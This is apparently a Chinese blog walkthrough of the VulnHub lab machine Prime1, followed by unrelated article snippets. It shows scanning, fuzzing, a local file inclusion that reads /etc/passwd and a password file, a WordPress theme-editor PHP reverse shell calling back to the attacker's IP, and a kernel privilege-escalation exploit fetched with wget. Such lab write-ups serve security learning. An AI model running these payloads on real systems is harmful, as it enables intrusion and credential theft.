给企业做网站用什么程序/浙江网络推广公司
「红队笔记」靶机精讲:Prime1 - 信息收集和分析能力的试炼
本文是作者在观看 B 站《红队笔记》后做的一些笔记及相关知识的补充。学渗透特别推荐大家去看。如有侵权,请联系作者,作者看到后会第一时间删除。
靶机精讲之Prime1,vulnhub靶机,信息收集和分析能力的试炼,可以先盲打,看能否按图索骥。中间还是涉及模糊测试、wordpress利用,常规打法,但也需要扎实的基本功。提权可用内核提权。
– 红队笔记
nmap 五部曲
主机发现
sudo nmap -sn 10.10.10.0/24
靶机 IP 为 10.10.10.22 。
端口扫描
sudo nmap --min-rate 10000 -p- 10.10.10.22
发现 22 和 80 两个端口是开放的。22 端口是熟知的 ssh 服务,80 端口是 web 服务。
全面扫描
sudo nmap -sT -sV -O -p22,80 10.10.10.22
UDP 扫描
sudo nmap -sU -p22,80 10.10.10.22
漏洞脚本扫描
sudo nmap --script=vuln -p22,80 10.10.10.22
访问 web 页面
既然开放了 web 网站,那么先访问一下看看。
只有一张图片,是 kali 的龙形象:
HacknPentest:Penetration Testing
(或简称 PenTest ),即渗透测试,中间的 n 可能是 and 的意思。
查看源代码:
没发现什么有价值的东西,hnp 应该是 HacknPentest 的缩写。
进行目录爆破
目录爆破的工具有很多种,比如 dirsearch ,gobuster,feroxbuster,dirb ,不同工具的运行机制可能有所不同,但是比起切换工具,我们更应该关注一个工具其中的参数的设置和字典的设置,把一个工具用精。
可以用 man 命令查看 dirb 的参数:
man dirb
使用 dirb 进行默认扫描:
dirb http://10.10.10.22 -o report/dirb.txt
在扫描结果中发现当前目录下有一个 dev
目录,很可疑。
使用 curl 获取响应内容:
sudo curl http://10.10.10.22/dev
执行该命令会发送一个 GET 请求到 IP 地址为 10.10.10.22 的服务器的 ./dev 路径,并返回服务器的响应内容。具体返回的内容取决于服务器的配置和 ./dev 路径下的资源。
返回结果:
这里给了一些提示,要我们再挖掘的深入一点。大概是目录爆破要再精确一点的意思。
使用 wget 保存响应内容:
sudo wget http://10.10.10.22/dev -o report/dev
既然是信息,那就先保存一下。
用 dirb 指定文件后缀名进行扫描
dirb http://10.10.10.22 -X .zip,.txt -o report/dirbvaryhard.txt
在当前目录下发现了一个 secret.txt 文件。
依然是用 curl 获取文件内容:
curl http://10.10.10.22/secret.txt
返回结果:
在每一个你发现的 PHP 文件做一些 fuzz (模糊测试),如果你仍然卡在这,可以访问下面的链接。链接中给了一个做模糊测试的工具。
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
OSCP ( Offensive Security Certified Professional ) 是一个国际性的安全从业人员的专业技能认证证书,由 Kali Linux 官方组织颁布。
这里其实已经很明确的提示我们要去找 PHP 文件了。
这是一个比较重要的信息,用 wget 保存一下:
sudo wget http://10.10.10.22/secret.txt -o report/secret.txt
dirb 指定后缀名为 php 的扫描
dirb http://10.10.10.22 -X .php -o report/dirbphp.txt
结果发现当前目录下存在 index.php 和 image.php 两个文件。接下来要对这两个文件做模糊测试。
用 wfuzz 工具进行模糊测试
模糊测试是一种自动或半自动的测试技术,常被用来发现软件/操作系统/网络的代码中的错误和安全性问题,其中用于输入随机的数据和不合法的数据被称为“FUZZ”。之后,系统将被监视各种异常,如系统崩溃或内置代码失败等。
上面那个链接给了一条命令:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something
wfuzz 是一个模糊测试工具,kali 中默认已安装。
查看帮助文档:
wfuzz --help
-c : Output with colors. 输出结果高亮显示。
-w wordlist : Specify a wordlist file (alias for -z file,wordlist). 指定一个单词列表文件(-z文件的别名,单词列表)。
–hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline).
这是一个过滤器,指定按哪一列的值进行过滤。(其输出结果有五列,分别是 code/lines/words/chars/payload ,表示状态码/行数/长度/字节数/攻击载荷)。
–hc 404 就是不显示 code 列值为 404 的行,–hw 500 就是不显示 words 列值为 500 的行。
将上面的命令稍作修改:
对 image.php 进行模糊测试
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://10.10.10.22/image.php?FUZZ=RedTeamNotes
最后的 FUZZ=something 等号右边可以随便改。
发现结果中 code 列全为 200 ,lines 列全为 6 ,words 列全为 12 ,chars 列全为 147 。显然,需要找出特别的行,像这种一样的大多数行几乎不可能是想要的结果。
因此对上面的结果做一些筛选:
挑选 words 列不为 12 的行:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.10.10.22/image.php?FUZZ=RedTeamNotes
无结果。
挑选 chars 列不为 147 的行:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://10.10.10.22/image.php?FUZZ=RedTeamNotes
还是无结果。
既然这个文件没有什么发现,那就对另一个文件做模糊测试。
对 index.php 进行模糊测试
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://10.10.10.22/index.php?FUZZ=RedTeamNotes
发现结果中 code 列全为 200 ,lines 列全为 7 ,words 列全为 12 ,chars 列全为 136 。
挑选 chars 列不为 136 的行:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://10.10.10.22/index.php?FUZZ=RedTeamNotes
结果只有一行,该行的 payload 为 " file " 。
继续深入
将 file 作为参数去访问 index.php 页面:
sudo curl http://10.10.10.22/index.php?file
响应内容:
你正在挖一个错误的文件。
保存响应内容
sudo curl http://10.10.10.22/index.php?file > report/wrongnotice.txt
既然这是一个错误的文件,那正确的文件是什么呢?还记得之前 secret.txt 文件的内容吗。最后一句话提示去查看 location.txt 文件。
当然不是指当前目录下的 location.txt ,因为之前 dirb 都没扫出来有这个文件,那要怎么查看呢,以 file 作为参数的话,是否可以查看呢?
sudo curl http://10.10.10.22/index.php?file=location.txt
返回结果:
现在你已经找到了精确的参数,接着往下挖。使用 “secrettier360” 参数在其他的一些 PHP 页面做测试。
显然,除了 index.php ,就只有 image.php 了。
使用 scrot 截屏保存该信息:
scrot -s report/location.png
使用 xdg-open 查看图片
xdg-open report/location.png
将 secrettier360 作为参数去访问 image.php 页面:
sudo curl http://10.10.10.22/image.php?secrettier360
返回结果:
最终你得到了正确的参数。
保存响应内容
sudo curl http://10.10.10.22/image.php?secrettier360 -o report/rightpara.txt
都到这一步了,当然要试试文件包含了。
本地文件包含
由于暂时找不到更多的信息,又提示找到了正确的参数,那么就试试本地文件包含吧。
sudo curl http://10.10.10.22/image.php?secrettier360=../../../../../../etc/passwd
成功回显结果:
保存结果
sudo curl http://10.10.10.22/image.php?secrettier360=../../../../../../etc/passwd -o report/passwd.txt
注意到结果中有三个有价值的用户:root,victor,saket 。一般除了 root 以外的正常用户都在后面,因为是新添加的。
其中 root,victor 都是给了 /bin/bash 交互环境,saket 则是放在正常用户应该在的家目录下(/home)。
在 saket 用户的描述中提示可以在 /home/saket 目录下找到一个 password.txt 文件。
那么依然是利用文件包含来获取该文件
sudo curl http://10.10.10.22/image.php?secrettier360=../../../../../../home/saket/password.txt
返回结果:
保存结果:
sudo curl http://10.10.10.22/image.php?secrettier360=../../../../../../home/saket/password.txt -o password.txt
在这里获得了一个密码:follow_the_ippsec ,那么这个密码在哪用呢。
尝试 ssh 连接
ssh victor@10.10.10.22
ssh saket@10.10.10.22
均失败。
其实之前在用 dirb 扫描的时候有扫出一个 WordPress 文件夹,但是当时没有去看,因为看到了更直接的 dev 文件,但是现在是时候回过头来看看了。
WordPress 内容管理系统
WordPress 是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用 PHP 语言和 MySQL 数据库开发的,用户可以在支持 PHP 和 MySQL 数据库的服务器上使用自己的博客。
WordPress 的使用量居全球第一,碾压了其他内容管理系统,在一个名为钟馗之眼(https://www.zoomeye.org/about)的网站上可以查看。
使用 wpscan 进行漏洞扫描
Wpscan 是一款 kali linux 开源的命令行工具,专门用于扫描和识别 WordPress 网站中的漏洞和安全问题。它可以帮助安全研究人员、渗透测试人员以及网站管理员识别和修复 WordPress 网站可能存在的安全漏洞。
下载 wpscan:
apt install wpscan
查看帮助文档:
wpscan --help
执行扫描:
sudo wpscan --url http://10.10.10.22/wordpress -e u
–url URL The URL of the blog to scan. 要扫描的博客的URL 。
Allowed Protocols: http, https. 允许的协议:http,https 。
Default Protocol if none provided: http. 默认协议(如果未提供):http 。
This option is mandatory unless update or help or hh or version is/are supplied.
除非提供了更新、帮助、hh或版本,否则此选项是强制性的。
-e, --enumerate [OPTS] Enumeration Process 枚举过程
Available Choices: 可用选项:
vp Vulnerable plugins vp 易受攻击的插件
ap All plugins ap 所有插件
p Popular plugins p 热门插件
vt Vulnerable themes vt 易受害主题
at All themes at 所有主题
t Popular themes t 流行的主题
tt Timthumbs tt 蒂姆拇指
cb Config backups cb 配置备份
dbe Db exports dbe Db导出
u User IDs range. e.g: u1-5 u 用户ID范围。例如:u1-5
Range separator to use: ‘-’ 范围分隔符用:“-”
Value if no argument supplied: 1-10 如果未提供参数,则为值:1-10
enumerate – 枚举,-e 指定要列举什么。
这里只扫描有哪些用户,是因为拿到了密码,但不知道用户名是什么。
输出结果:
可见只有一个名为 victor 的用户,但其实这个用户名在 WordPress 页面也能看到。
保存输出结果:
sudo wpscan --url http://10.10.10.22/wordpress -e u -o report/wordpress.txt
登录到后台
回去看看 dirb 的扫描结果:
其实 WordPress 的后台登录界面就是在 ./wordpress/wp-admin
,这个路径可以记住。
以
用户名:victor
密码:follow_the_ippsec
成功登录到后台。
wordpress 网站渗透
一般在做网站渗透的时候要特别注意上传文件的地方,比如 WordPress 后台有上传 plugins(插件) 的地方,还有上传 themes(主题) 的地方。常见的还有上传头像的地方。
插件上传处要求是 zip 文件,先传一个正常的 zip 文件看能不能上传。结果的不能的,从返回结果来看似乎父目录没有足够的权限。
这条路走不通。
在后台的 appearence->themes editor 处可以编辑文件,在这里尝试插入木马。当然,插入什么之前要看看有没有修改权限。这里的大部分文件都是没有修改权限的。没有修改权限的话在最下面会有一句话:
“You need to make this file writable before you can save your changes.”
像什么 css,js,json 文件都没有什么价值,因为它们不具备执行性。该网站使用 PHP 语言作为在服务器端执行的脚本语言,所以我们主要找 PHP 文件即可,
在此处遍历 PHP 文件,最终发现一个 secret.php 文件,具备写入权限。
写入马子:
<?php exec("/bin/bash -c 'bash -i /dev/tcp/10.10.10.3/443 0>&1'") ?>
exec 函数是 PHP 中常用的一种执行外部系统命令的函数,可以让 PHP 程序直接调用操作系统的命令行执行命令。
/bin/bash -c 是一个 Linux 命令,它的作用是在一个新的 Bash shell 中执行给定的命令。其中 /bin/bash 是 Bash shell 的路径,-c 是一个选项,表示后面跟着的是要执行的命令。
保存修改。
kali 开启监听:
nc -lvnp 443
访问 secret.php 页面,可以看到 kali 中已经获得该机器的权限。
提权
信息搜集
whoami
查看当前用户信息,当前拿到的是 www-data 的权限,这是一个低权限用户。
uname -a
查看系统信息:
sudo -l
查看当前用户的权限:
当前用户对于 /home/saket/enc 文件具有 root 权限,且可以无需密码执行。
cd /home/saket
ls -liah
发现当前用户对于 /home/saket/enc 仅有执行权限,而没有查看和写入权限。
cat /etc/crontab
查看定时任务:
显然没有权限。
/etc/passwd 可以看,但是 /etc/shadow 不能看,那就无法破解密码。
内核漏洞提权
在上面的结果中可以看出该靶机的内核版本较低( linux ubuntu 4.10.0-28-generic ),可能存在内核漏洞。
searchsploit 命令检索漏洞信息
关于 searchsploit
searchsploit 是一款开源的漏洞利用和漏洞扫描工具,它提供了一个简单的命令行界面,让用户能够搜索到漏洞利用和漏洞扫描工具中所包含的所有漏洞的专利权。这些漏洞利用和漏洞扫描工具的漏洞信息来自于一些公开的漏洞数据库,如 NVD、CVE、OSVDB 等等。使用 searchsploit 可以快速搜索到特定漏洞的版本,提高漏洞利用的效率。
这个工具可以称得上是渗透利器了,可以多多使用哦~。
使用方法
searchsploit 的使用方法如下:
-
搜索漏洞:使用命令
searchsploit <关键字>
来搜索特定的漏洞。例如,searchsploit wordpress
可以搜索与 WordPress 相关的漏洞。 -
显示漏洞详细信息:使用命令
searchsploit -x <漏洞编号>
来显示特定漏洞的详细信息。漏洞编号可以从搜索结果中获取。 -
下载漏洞利用脚本或漏洞扫描工具:使用命令
searchsploit -m <漏洞编号>
来下载特定漏洞的利用脚本或扫描工具。下载的文件将保存在当前目录中。 -
更新漏洞库:使用命令
searchsploit -u
来更新漏洞库,以获取最新的漏洞信息。 -
显示搜索结果的详细信息:使用命令
searchsploit -p <漏洞编号>
来显示特定漏洞利用程序的详细信息。 -
显示漏洞利用程序的漏洞文件路径:使用命令
searchsploit -f <漏洞编号>
来显示特定漏洞利用程序的漏洞文件路径。
请注意,searchsploit 的漏洞库需要定期更新以获取最新的漏洞信息。
searchsploit Linux ubuntu 4.10.0-28
┌──(root㉿kali)-[~]
└─# searchsploit linux ubuntu 4.10.0-28--------------------------------------------------------------------------------------- --------------------Exploit Title | Path--------------------------------------------------------------------------------------- --------------------Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free | linux/dos/43234.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt--------------------------------------------------------------------------------------- --------------------Shellcodes: No Results
这段输出信息中包含了三个漏洞的利用程序信息,以及其在 searchsploit 安装目录中的路径。具体来说:
-
第一个漏洞是针对 Linux Kernel 4.10.5 和低于 4.14.3 版本存在的 DCCP Socket Use-After-Free 漏洞的攻击代码。攻击代码路径为
linux/dos/43234.c
。该攻击代码可用于实现攻击,导致目标系统遭受拒绝服务(DoS)攻击。 -
第二个漏洞是针对 Ubuntu 16.04 及 Fedora 27 等系统上存在的本地提权漏洞的攻击代码,该漏洞可导致攻击者获得系统管理员权限。攻击代码路径为
linux/local/45010.c
。 -
第三个漏洞是针对 Ubuntu 15.10 及以下系统上存在的一个命名空间特权提升漏洞的攻击代码。攻击代码路径为
linux/local/41760.txt
,并提供了漏洞的详细描述。
最后,searchsploit 还提供了 Shellcodes 和 Exploit-db 的其他搜索结果。然而,搜索结果未显示 Shellcode 和其他利用程序的结果。
这里利用一下第二个漏洞:
searchsploit linux ubuntu -m 45010
-m
选项表示下载漏洞利用模块,这个命令的作用是使用 searchsploit 工具在本地数据库中搜索包含字符串linux
和ubuntu
,并过滤出45010
编号的漏洞利用脚本,然后将该漏洞利用脚本下载到当前目录中。
ls
# 发现当前目录下多了一个 45010.c 的文件,这是一个用 C 语言编写的漏洞利用脚本。
cat 45010.c
# 要养成查看文件的好习惯
将漏洞利用脚本上传到靶机上
kali 上使用:
sudo php -S 0:80
-S <addr>:<port> Run with built-in web server.
这条命令相当于在本地开启一个服务器,可以用自己的浏览器通过 http://127.0.0.1 来访问。
此时,在靶机上已经拿到了 www-data 的权限,在这里执行命令:
wget http://10.10.10.3/45010.c
将 kali 上的 45010.c 文件下载到靶机上,用这种方式传输文件,新奇。10.10.10.3 是攻击机 kali 的 ip 。
由于 C 语言文件需要编译后才能运行,故而这里有两种方式,一种是在攻击机上编译后再传到靶机上,另一种就是直接在靶机上编译。
第一种:
kali 上用 gcc 编译该 C 文件:
gcc 45010.c -o 45010
-o 指定编译后的文件名,如果不指定的话默认的输出文件为 a.out 。
靶机上用 wget 下载该文件:
wget http://10.10.10.3/45010
靶机上运行该文件:
./45010
但这种方法可能有问题,在本次试验中不成功。
第二种:
靶机上用 wget 下载源文件:
wget http://10.10.10.3/45010.c
这样下载的文件,当前的 www-data 用户对其有着全部的权限。
靶机上编译源文件:
gcc 45010.c -o 45010
靶机上运行该文件:
./45010
这种方法要求靶机上已经安装好了 gcc 编译器。
本次试验中第二种方法成功执行。
此时执行 whoami ,发现已经是 root 权限,但是没有命令提示符,执行下面的命令以获得命令提示符:
# 查看当前安装了哪些软件包,是否安装了 python 程序:
dpkg -l
# 如有 python 程序,执行一下命令获取命令提示符:
python -c "import pty;pty.spawn('/bin/bash');"
至此,这台靶机渗透完成。
相关文章:

「红队笔记」靶机精讲:Prime1 - 信息收集和分析能力的试炼
「红队笔记」靶机精讲:Prime1 - 信息收集和分析能力的试炼 本文是作者在观看 B 站《红队笔记》后做的一些笔记及相关知识的补充。学渗透特别推荐大家去看。如有侵权,请联系作者,作者看到后会第一时间删除。 靶机精讲之Prime1,vu…...

JVM虚拟机系统性学习-对象的创建流程及对象的访问定位
对象的创建流程与内存分配 对象创建流程如下: Java 中新创建的对象如何分配空间呢? new 的对象先放 Eden 区(如果是大对象,直接放入老年代)当 Eden 区满了之后,程序还需要创建对象,则垃圾回收…...

perf与火焰图-性能分析工具
参考链接 perf性能分析工具使用分享 如何读懂火焰图?-阮一峰 perf基本用法-record,report-知乎 火焰图抓取 准备: centos安装perf工具 dnf install perf下载火焰图解析代码 git clone https://github.com/brendangregg/FlameGraph.git抓取指定进程…...

UniGui使用CSSUniTreeMenu滚动条
有些人反应UniTreeMenu当菜单项目比较多的时候会超出但是没有出滚动条,只需要添加如下CSS 老规矩,unitreemeu的layout的componentcls里添加bbtreemenu,然后在css里添加 .bbtreemenu .x-box-item{ overflow-y: auto; } 然后当内容超出后就会…...

Spring框架中的五种常用设计模式
1、单例模式 Spring 的 Bean 默认是单例模式,通过 Spring 容器管理 Bean 的⽣命周期,保证每个 Bean 只被 创建⼀次,并在整个应⽤程序中重用。 2.工厂模式 Spring 使⽤⼯⼚模式通过 BeanFactory 和 ApplicationContext 创建并管理 Bean 对象…...

华纳云:docker启动报错的原因和解决方法
Docker 启动报错可能由多种原因引起。以下是一些建议,可用于解决 Docker 启动问题: 查看 Docker 日志: 查看 Docker 的日志可以提供更多的详细信息,有助于定位问题。 sudo journalctl -xe | grep docker 或者查看 Docker 服务的详…...

代码规范及开发工具
代码规范及开发工具: 前端(vscode、idea): JavaScript规范: 1. 谷歌开源项目风格指南:JavaScript 、TypeScript篇 https://zh-google-styleguide.readthedocs.io/en/latest/google-typescript-…...

证件照制作小程序源代码
17638103951(同v)...

自治调优!人大金仓解放DBA双手
数据库系统的性能是确保整个应用系统高效运转的关键因素,因此数据库性能调优工作至关重要。KingbaseES通过将人工调优过程内化为数据库内核,成功实现了自治调优。这种创新的调优方案为DBA提供了更高效且准确的性能调优途径,同时也显著降低了数…...

深度学习环境配置------windows系统(GPU)------Pytorch
深度学习环境配置------windows系统(GPU)------Pytorch 准备工作明确操作系统明确显卡系列 CUDA和Cudnn下载与安装1.下载2.安装 环境配置过程1.安装Anacoda2.配置环境1)创建一个新的虚拟环境2)pytorch相关库的安装 2.安装VScode1&…...

el-menu标题过长显示不全问题处理
项目基于vue-element-admin 问题 期望 处理方式 \src\layout\components\Sidebar\index.vue 文件后添加CSS <style scped> /* 侧栏导航菜单经典 文字超长溢出问题 CSS折行 */ .el-submenu__title {display: flex;align-items: center; } .el-submenu__title span {white-…...

微信游戏开发:连接社交与娱乐的创新之路
在移动互联网时代,微信已经成为了人们日常生活中不可或缺的社交工具。而微信游戏,作为在这一平台上崛起的新兴产业,不仅给用户提供了更多娱乐选择,也为开发者们创造了独特的机遇。本文将探讨微信游戏开发的关键步骤、技术要点以及…...

1688一件采购实现指南:含代码实现采购流程
一、引言 1688是中国最大的B2B电子商务平台之一,提供了丰富的商品信息和采购服务。一键采购是1688平台的一项便捷功能,可以帮助用户快速完成采购流程,提高采购效率。本文将详细介绍如何使用1688一键采购功能,并通过代码示例演示如…...

div中一个图片怎么铺满整个div而且不超出div按比例铺满div
重要信息: background-size:cover或者background-size:contain;属性 设置图片不重复: background-repeat:no-repeat; 设置字体在div中间:...

云原生之深入解析Kubernetes的架构及特性
一、kubernetes 架构 从宏观上来看 kubernetes 的整体架构,包括 Master、Node 以及 Etcd。Master 即主节点,负责控制整个 kubernetes 集群,它包括 Api Server、Scheduler、Controller 等组成部分。它们都需要和 Etcd 进行交互以存储数据&…...

分布工具类的定义与实现及测试。
package d5.util;public class PageUtil {private int pageSize;//一页有多少条private int currIndex;//当前是第几页private int totalCount;//共有多少条记录 谁给我? 逻辑层的 getTotalCountprivate int totalPage;//共有多少页 private int start;//显时时开始…...

如何在忘记密码的情况下恢复解锁 iPhone
您忘记了 iPhone 密码吗?Apple 官方通常建议将 iPhone 恢复至出厂设置以将其删除。这种修复很不方便,甚至可能比问题本身更麻烦。 如果您也经历过同样的情况,并且想知道忘记了 iPhone 密码并且不想恢复它该怎么办,我们的终极指南…...

通过compileall库将python文件编译为pyc文件
文章目录 什么是 .pyc 文件将 .py 文件编译为 .pyc 文件编译单个文件编译多个文件 在实际开发中,有时候需要将产品(以.py文件为例)发布到外部环境,但我们并不想显式地让别人看到我们的源码,此时就需要对源码进行加密保…...

【Docker】深入理解Docker:一种革新性的容器技术
前言 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。 📕作者简介:热…...

数据库——安全性
智能2112杨阳 一、目的与要求: 1、设计用户子模式 2、根据实际需要创建用户角色及用户,并授权 3、针对不同级别的用户定义不同的视图,以保证系统的安全性 二、内容: 先创建四类用户角色: 管理员角色Cusm、客户角…...

Vue路由跳转重定向动态路由VueCli
Vue路由跳转&重定向&动态路由&VueCli 一、声明式导航-导航链接 1.需求 实现导航高亮效果 如果使用a标签进行跳转的话,需要给当前跳转的导航加样式,同时要移除上一个a标签的样式,太麻烦!!! …...

mysql 当前时间加3个工作日
1. 问题描述: 在日常工作中可能会遇到计算工作日的情况 2. 解决过程 (1) 首先制作一个假日表 holiday_config CREATE TABLE holiday_config (id int(10) NOT NULL AUTO_INCREMENT,holiday varchar(8) DEFAULT NULL,PRIMARY KEY (id) USING BTREE ) ENGINEInnoDB…...

2023年11月国产数据库大事记-墨天轮
本文为墨天轮社区整理的2023年11月国产数据库大事件和重要产品发布消息。 11月国产数据库大事记 TOP10 11月国产数据库大事记(时间线) 11月1日消息,近日,由金仓数据库支撑的某大型运营商B域一级BOSS枢纽系统顺利升级上线。金仓数…...

第二十八章 控制到 XML 模式的映射 - 流类到 XML 类型的映射
文章目录 第二十八章 控制到 XML 模式的映射 - 流类到 XML 类型的映射将集合属性映射到 XML 模式 第二十八章 控制到 XML 模式的映射 - 流类到 XML 类型的映射 如果类或属性基于流,则它将投影为 XML 类型,如下表所示: IRIS 流的 XML 类型 …...

GO EASY 游戏框架 之 GRPC 扩展篇 04
1 Overview 此章节是对第三章的一个补充。同样属于RPC的篇章。是专门为了类似游戏服务这种需要指定RPC服务端具体地址,也就是具体是哪台机器的某应用进程,通信的方式。笔者简单的封装了下保证基本的服务稳定,且具备服务发现的属性即可&#…...

【JavaScript】JavaScript中的GC算法
1、内存管理 内存:由可读写单元组成,标识一片可操作的空间 管理: 认为的去操作一篇空间的申请、使用和释放 内存管理:开发者主动申请空间、使用空间、释放空间 管理流程: 申请-使用-释放 // 申请 let obj {} //使…...

从互联网到云计算再到 AI 原生,百度智能云数据库的演进
1 数据库行业发展概述 如果说今年科技圈什么最火,我估计大家会毫不犹豫选择 ChatGPT。ChatGPT 是 2022 年 11 月 30 日由 OpenAI 发布的聊天应用。它创造了有史以来用户增长最快的纪录:自 11 月 30 日发布起,5 天就拥有了 100 万活跃用户…...

C# | CountdownEvent使用教程 (通过与ManualResetEvent对比,快速了解其特性)
C# CountdownEvent使用教程 对于熟悉ManualResetEvent的同学来说,了解CountdownEvent的差异对于更好地利用它们是非常重要的。通过对ManualResetEvent和CountdownEvent的对比,我们可以更好地理解CountdownEvent的特点和使用场景。 ManualResetEvent回顾…...

2、LLVM 函数名称加密 及3种PASS的实现
sudo usermod -a -G vboxsf nowind nowind是你的虚拟机登录的用户名解决virtualbox 虚拟机共享文件夹不能使用的问题 第一种:源码内实现pass: 实现EncodeFunctionName 的pass,核心代码如下 相关文件的修改: 因为后面同样用到…...

Python网络爬虫的基础理解-对应的自我理解误区
##通过一个中国大学大学排名爬虫的示例进行基础性理解 以软科中国最好大学排名为分析对象,基于requests库和bs4库编写爬虫程序,对2015年至2019年间的中国大学排名数据进行爬取:(1)按照排名先后顺序输出不同年份的前10…...